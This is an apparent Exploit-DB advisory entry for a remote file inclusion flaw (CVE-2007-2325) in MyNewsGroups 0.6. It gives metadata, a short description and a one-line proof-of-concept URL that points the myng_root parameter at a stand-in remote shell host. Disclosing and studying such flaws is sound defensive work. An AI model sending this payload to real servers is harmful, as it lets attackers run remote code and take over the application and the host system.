MyNewsGroups 0.6 - 'Include.php' Remote File Inclusion

Author: Ali & Saeid
type: webapps
platform: php
port: 0
date_added: 2007-04-25
date_updated: 2013-11-29
verified: 1
codes: CVE-2007-2325;OSVDB-34157
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source: https://www.securityfocus.com/bid/23646/info

MyNewsGroups is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied input.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

This issue affects MyNewsGroups 0.6; other versions may also be vulnerable.

http://www.example.com/include.php?myng_root=http://shell